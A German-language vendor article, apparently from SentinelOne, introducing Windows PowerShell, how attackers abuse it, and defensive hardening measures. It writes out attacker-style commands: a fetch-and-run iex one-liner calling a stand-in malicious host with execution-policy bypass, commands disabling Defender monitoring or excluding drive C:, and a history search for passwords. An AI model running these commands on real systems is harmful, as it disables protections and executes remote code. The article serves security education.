Skip to main content
Cybersicherheit

Was ist Windows PowerShell?

Windows PowerShell ist ein leistungsstarkes Automatisierungstool. Erfahren Sie, welche Sicherheitsrisiken damit verbunden sind und wie Sie es in Ihrer Umgebung sicher einsetzen.

Von SentinelOne
Was ist Windows PowerShell?

Windows PowerShell ist eine leistungsstarke Skriptsprache und Befehlszeilen-Shell zur Automatisierung von Aufgaben und Verwaltung von Konfigurationen. Dieser Leitfaden beleuchtet die Funktionen und Möglichkeiten von PowerShell, auch für die Systemadministration und Sicherheit.

Lernen Sie gängige PowerShell-Befehle und bewährte Verfahren für Skripte kennen. Erfahren Sie außerdem, wie Sie PowerShell für die Cybersecurity einsetzen. PowerShell-Kenntnisse sind für IT- und Sicherheitsexperten unverzichtbar.

Windows PowerShell - Featured Image | SentinelOne

Wie kann PowerShell die wertvollen Ressourcen Ihres Unternehmens beeinflussen? Lernen Sie die Grundlagen von PowerShell kennen, warum es für Hacker attraktiv ist & wie Sie Ihr Unternehmen schützen

Microsoft PowerShell ist eine Befehlszeilen-Shell und Skriptsprache zur Automatisierung von Aufgaben und Verwaltung Windows-basierter Systeme. Administratoren und Sicherheitsexperten nutzen sie häufig, um Routineaufgaben zu automatisieren, Systeme zu verwalten und zu überwachen sowie die Reaktion auf Sicherheitsvorfälle zu automatisieren. Angreifer nutzen PowerShell oft, um sich unbefugten Zugriff auf Systeme zu verschaffen und Schadcode auszuführen.

Microsoft PowerShell ist bereits seit 2006 für Windows verfügbar. Heute ist es die Befehls-Shell für den Datei-Explorer unter Windows 10 und hat das alte Tool cmd.exe weitgehend abgelöst. Für viele Anwender wirkt es zwar zunächst schwer zugänglich, doch PowerShell ist dank seiner Flexibilität und Leistungsfähigkeit für IT-Teams und Netzwerkadministratoren unverzichtbar geworden. In diesem einführenden Leitfaden erklären wir die Grundlagen von PowerShell, warum es für Hacker und Malware-Autoren attraktiv ist und wie Sie Ihr Unternehmen schützen können.

Wählen Sie Ihre Variante

Wenn Sie „PowerShell“ in das Suchfeld von Cortana eingeben, stehen Ihnen zwei Optionen zur Auswahl: PowerShell ISE und die PowerShell-Desktop-App. Klicken Sie mit der rechten Maustaste auf das Startmenü oder das Taskleistensymbol einer der beiden PowerShell-Varianten, sehen Sie zwei Möglichkeiten, die jeweilige Version zu starten: als aktueller Benutzer oder als Administrator.

A screenshot image of Window

Administratoren, die wiederkehrende Aufgaben automatisieren möchten, entwickeln PowerShell-Module und -Skripte wahrscheinlich in der ISE-Oberfläche. Für die interaktive Nutzung wählen die meisten jedoch die PowerShell-Desktop-App und starten sie je nach Aufgabe als Administrator oder aktueller Benutzer.

Vielleicht haben Sie auch schon von PowerShell Core gehört, einer plattformübergreifenden Open-Source-Version, die nicht nur unter Windows, sondern auch unter Linux und macOS läuft:

A screenshot image of Macintosh HD scripts

Vorsicht: PowerShell Core wird als unsignierte Binärdatei installiert und könnte leicht durch eine schädliche Fälschung ersetzt werden. Wenn Sie Endpunkte mit PowerShell Core nutzen, sollten Sie es mit einem geeigneten Zertifikat signieren oder regelmäßig shasum-Prüfungen durchführen, um Manipulationen auszuschließen.

Die PowerShell-Varianten unterscheiden sich zwar in einigen Funktionen, können aber alle Remote-Sitzungen über SSH ausführen und mit zahlreichen Prozessen und Diensten interagieren. PowerShell kann sogar auf die Windows-Registrierung und das Ereignisprotokoll zugreifen. Das bedeutet auch: Ein Gegner mit Zugriff auf PowerShell hat dieselben Möglichkeiten.

Das Potenzial ausschöpfen

Zwei einfache Befehle vermitteln einen ersten Eindruck von den Möglichkeiten von PowerShell:

Get-Module -ListAvailable

zum Auflisten der verfügbaren Module und

Get-Command

zum Auflisten der verfügbaren Befehle:

Window

Sehen wir uns einige Beispiele an. Angenommen, Sie oder ein Gegner durchsuchen ein Verzeichnis mit Dokumenten und möchten schnell feststellen, ob es etwas Interessantes enthält. Der folgende Befehl gibt die ersten und letzten beiden Zeilen jeder Textdatei im Verzeichnis aus. Dabei durchsucht er auch Unterverzeichnisse, berücksichtigt versteckte und unsichtbare Dateien und leitet die Ausgabe zur späteren Prüfung oder Abfrage in eine weitere Textdatei um:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Wer nach Dokumenten sucht, die mit „Confidential“ beginnen oder mit einer Positionsbezeichnung wie „Chief Financial Officer“ enden, kann auf diese Weise relevante Dateien schnell und ohne großen Aufwand erfassen.

Um ein Element zu löschen, etwa um Spuren eines Eindringens zu beseitigen, genügt

Remove-Item <path>

Mit PowerShell lässt sich das Betriebssystem auch auf interessante und leider gefährliche Weise verändern. Wenn ein Malware-Autor die vorinstallierte AV-Engine Microsoft Defender umgehen möchte, kann er sie mit einem PowerShell-Befehl und den entsprechenden Berechtigungen deaktivieren:

Set-MpPreference -DisableRealTimeMonitoring $true

oder, etwas unauffälliger, ein Laufwerk oder einen Pfad von der Suche ausschließen:

Add-MpPreference -ExclusionPath “c:”

PowerShell macht es Angreifern außerdem leicht, mit Get-PSDrive Netzlaufwerke aufzulisten und mit Get-EventLog das Ereignisprotokoll abzurufen. Beides kann Informationen für weitere Angriffe liefern.

A screenshot image of Window

Sowohl für legitime Nutzer als auch für Angreifer ist es nützlich, den Verlauf der interaktiv über die Befehlszeile eingegebenen Befehle einschließlich aller übergebenen Argumente auslesen zu können. Der Verlauf wird unter dem Pfad gespeichert, den dieser Befehl ausgibt:

(Get-PSReadLineOption).HistorySavePath

Mit cat und dem Cmdlet Select-String (oder seinem Alias sls) können wir die Befehle nach interessanten Einträgen durchsuchen, ähnlich wie mit „grep“ (zum Beispiel nach Passwörtern!):

A screenshot of Tweet that Nikhil Mittal

Skripte & Exploit-Kits

Die größten Möglichkeiten für Angreifer liegen jedoch nicht in der Arbeit mit PowerShell auf der Befehlszeile. Gefährlicher ist, dass PowerShell Skripte sowohl im Arbeitsspeicher (sogenannte „dateilose“ Malware-Angriffe) als auch von einem Datenträger aus ausführen kann. Beides ist direkt auf einem Host oder aus der Ferne möglich.

Ähnlich wie der Unix-Shell-Befehl eval bietet PowerShell Invoke-Expression (und dessen Alias iex). Damit lässt sich ein schädliches Skript herunterladen und im Arbeitsspeicher ausführen. Mit Bypass können wir versuchen, eine eingeschränkte Ausführungsrichtlinie zu umgehen:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Es überrascht kaum, dass schon bald ganze Exploit-Frameworks entstanden, die das Potenzial von PowerShell voll ausschöpfen.

Den Anfang macht PowerSploit, eine Sammlung von PowerShell-Skripten, mit denen sich der Rechner eines Opfers manipulieren und kontrollieren lässt.

A screenshot image of AntivirusBypass scripts

PowerShell Empire baut auf PowerSploit und mehreren anderen Projekten auf. Das Post-Exploitation-Tool kann die Erkennung im Netzwerk umgehen, Keylogger ausführen und weitere Module wie Mimikatz starten, um Klartextpasswörter, Passwort-Hashes und andere Daten direkt aus dem Arbeitsspeicher auszulesen.

Screenshot image of PowerShell post-exploitation Empire

Der Aufstieg von PowerShell-Angriffen

Die Entwicklung von PowerShell-Skripten und -Befehlen, die sich aus anderen Windows-basierten Dateien, .exe, .bat, .wsf und .LNK, ausführen lassen, ist einer der Gründe für die Zunahme von PowerShell-basierter Malware in den letzten Jahren. Einer Schätzung zufolge entfallen fast 40% der Malware-Vorfälle auf PowerShell-Exploits. Zweifellos setzen Gegner PowerShell in zahlreichen Kampagnen ein, von ransomware über den Diebstahl von Zugangsdaten bis hin zu Banking-Trojanern. PowerShell spielt auch bei Klickbetrug, dem Ausspähen von Passwörtern und der Exfiltration von Daten eine Rolle.

DNSMessenger ist Malware, die sich über ein Makro in einem Word-Dokument verbreitete. Sie nutzt geschickt VBA-Quellcode, um codierte PowerShell-Befehle zu übermitteln, sich dauerhaft im System zu verankern, ihre Payload bereitzustellen und mit einem C&C-Server zu kommunizieren.

Überraschenderweise benötigen manche PowerShell-Angriffe nicht einmal die integrierte PowerShell.exe. Tools wie PowerShdll und InsecurePowerShell können Skripte direkt ausführen, indem sie die System.Management.Automation.dll nutzen, auf der die PowerShell-Binärdatei basiert. Kurz gesagt: Die ausführbare PowerShell-Datei ist nur ein Host oder Wrapper für den eigentlichen Code in der Dynamic Link Library. Angriffe können dies ausnutzen, um praktisch jeden Prozess zur Ausführung von PowerShell-Skripten und -Befehlen zu bringen.

Zu den weiteren kreativen Einsatzmöglichkeiten von PowerShell gehört es, ein PowerShell-Skript in den Pixeln einer PNG-Datei zu verstecken und mit Invoke-PSImage einen Einzeiler zu erzeugen, der es ausführt. Mit Tools wie PS2EXE lassen sich PowerShell-Skripte auch in EXE-Dateien umwandeln.

PowerShell verwalten

All das zeigt: Die PowerShell.exe einfach zu blockieren, wäre zwecklos. Für Systemadministratoren, die auf PowerShell angewiesen sind, wäre es zudem eine erhebliche Belastung. PowerShell und die zugrunde liegenden DLLs sind feste Bestandteile des Windows-Betriebssystems. Seit der Einführung von PowerShell Core eröffnet diese Technologie zudem Möglichkeiten für die plattformübergreifende Administration, auf die Unternehmen möglicherweise angewiesen sind.

Eine wirksame Lösung für Unternehmen im Umgang mit der Doppelnatur von PowerShell ist eine Lösung wie SentinelOne, die das Verhalten von Prozessen auf dem Endpunkt untersucht. Dieser Ansatz ist wirksam, weil sich die Prozesse unabhängig davon, wie Malware-Angriffe umgesetzt werden, ähnlich verhalten. Der SentinelOne-Agent überwacht sämtliche Aktivitäten auf dem Agenten, um zwischen bösartigen und harmlosen Aktivitäten zu unterscheiden. Der Agent verfügt bereits über den vollständigen Kontext: Benutzer, Prozesse, Befehlszeilenargumente, Registry, Dateien auf der Festplatte und externe Kommunikation. So lassen sich bösartige Aktivitäten unabhängig von ihrer Quelle eindämmen.


Gefällt Ihnen dieser Artikel? Folgen Sie uns auf LinkedIn, Twitter, YouTube oder Facebook, um unsere Beiträge zu sehen.

Mehr über Windows-Sicherheit erfahren

Callout Background Image Gradient

KI-gestützte Cybersicherheit

Verbessern Sie Ihre Sicherheitslage mit Echtzeit-Erkennung, maschineller Reaktion und vollständiger Transparenz Ihrer gesamten digitalen Umgebung.

Häufig gestellte Fragen zu Windows PowerShell

Windows PowerShell ist eine Befehlszeilenshell und Skriptsprache von Microsoft, die auf dem .NET Framework basiert. Mit Cmdlets – einfachen Befehlen im Verb-Substantiv-Format – automatisieren Sie Aufgaben wie die Verwaltung des Dateisystems, der Registrierung und von Diensten.

PowerShell verarbeitet Objekte und gibt sie zurück statt einfachen Text. So können Sie strukturierte Daten von einem Cmdlet an das nächste weiterleiten. PowerShell unterstützt außerdem Remotezugriff, Module und eine integrierte Hilfe für die Systemverwaltung.

Anders als das ältere CMD verwendet PowerShell Cmdlets im Verb-Substantiv-Format und arbeitet mit .NET-Objekten statt mit Textströmen. Dadurch können Sie Befehle über Pipelines verknüpfen, ohne Text zu parsen. PowerShell-Skripts können .NET-APIs direkt aufrufen, bieten eine umfassendere Fehlerbehandlung und unterstützen Module.

Herkömmliche Shells verarbeiten nur einfachen Text und einfache Batch-Skripts. PowerShell dagegen bietet eine vollständige Skriptumgebung für Automatisierung und Konfiguration.

PowerShell ist tief ins System integriert und bietet leistungsstarke Skriptfunktionen. Das macht es sowohl für Administratoren als auch für Angreifer attraktiv. Bedrohungsakteure nutzen dateilose Techniken und führen Skripts im Arbeitsspeicher aus, um der Erkennung zu entgehen.

Mit PowerShell können Angreifer Schutzmechanismen deaktivieren, Schadcode herunterladen oder Anmeldedaten stehlen, ohne auf die Festplatte zu schreiben. Da PowerShell unter Windows weit verbreitet ist, müssen Sicherheitsteams entsprechende Aktivitäten als risikoreich einstufen und genau auf Missbrauch überwachen.

Laut einer Studie von Cisco war PowerShell an mehr als einem Drittel der kritischen Sicherheitsbedrohungen auf Endpunkten beteiligt. Carbon Black meldete PowerShell-Missbrauch bei 38 Prozent der Vorfälle, häufig bei Aktionen nach einem erfolgreichen Angriff wie lateraler Bewegung oder dem Diebstahl von Anmeldedaten.

Obwohl PowerShell im Normalbetrieb selten genutzt wird, taucht es bei etwa jedem vierzehnten bestätigten Schadsoftwarekontakt auf.

Aktivieren Sie sämtliche PowerShell-Protokollierungsfunktionen: Modulprotokollierung, Skriptblockprotokollierung und Transkription. Legen Sie eine Protokollgröße von mindestens 150 MB fest und erfassen Sie Ereignisse aus

Microsoft-Windows-PowerShell/Operational und PowerShellCore/Operational. Leiten Sie die Protokolle an SIEM oder XDR weiter. Blockieren Sie Skripts, die von nicht vertrauenswürdigen übergeordneten Prozessen gestartet werden, und beschränken Sie die Ausführungsrichtlinie auf signierte Skripts. Aktivieren Sie Protected Event Logging für zusätzliche Details.

Nutzen Sie Just Enough Administration (JEA), um den Benutzerzugriff auf genehmigte Cmdlets zu beschränken. Erzwingen Sie den Constrained Language Mode, um COM, WMI und komplexe Ausdrücke zu deaktivieren. Setzen Sie Application-Control-Richtlinien (z. B. WDAC) ein, um ausschließlich signierte Skripts zuzulassen.

Halten Sie PowerShell auf Version 5.1 oder höher. Überprüfen und optimieren Sie regelmäßig die Protokollierungseinstellungen, damit jeder Skriptaufruf erfasst wird.

Eine vollständige Blockierung von PowerShell kann die Systemverwaltung und Remoteadministration beeinträchtigen. Microsoft rät von einer vollständigen Entfernung ab. Beschränken Sie stattdessen die Ausführung auf autorisierte Administratoren, setzen Sie Anwendungskontrollen durch und verhindern Sie, dass nicht vertrauenswürdige übergeordnete Prozesse wie Office-Anwendungen PowerShell starten.

Zusammen mit Protokollierung und Überwachung unterbinden diese Maßnahmen die meisten missbräuchlichen Anwendungen, ohne den regulären Betrieb zu beeinträchtigen.

Mit PowerShell können Sicherheitsteams die Reaktion auf Sicherheitsvorfälle automatisieren, forensische Daten schnell erfassen und nach Bedrohungen suchen. Sie können Skripts schreiben, die binnen Minuten Artefakte aus der Registrierung, Prozesslisten und Netzwerkverbindungen zusammentragen. PowerShell-Kenntnisse erleichtern zudem das Verständnis von Angriffstechniken, da viele Tools für die Phase nach einem erfolgreichen Angriff (Empire, Cobalt Strike) PowerShell im Hintergrund nutzen.

PowerShell-Skripts können für die Erstbewertung Daten aus dem aktiven Arbeitsspeicher, Run-Schlüssel der Registrierung, Ereignisprotokolle und Netzwerkdaten erfassen. Community-Tools wie DFIR-Script automatisieren die Beweissicherung auf Endpunkten. Beim Threat Hunting nutzen Sicherheitsteams PowerShell, um Windows Event ID 4104 nach schädlichen Skriptblöcken abzufragen, die Ausgabe zu parsen und die Ergebnisse in SOAR-Playbooks einzuspeisen. Damit ist PowerShell ein zentraler Bestandteil von Abläufen zur Erkennung, Eindämmung und Behebung.

Mehr erfahren über Cybersicherheit

Decorative background gradient

Erleben Sie die fortschrittlichste Cybersicherheitsplattform

Erfahren Sie, wie die intelligenteste, autonome Cybersicherheitsplattform der Welt Ihr Unternehmen heute und in Zukunft schützen kann.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text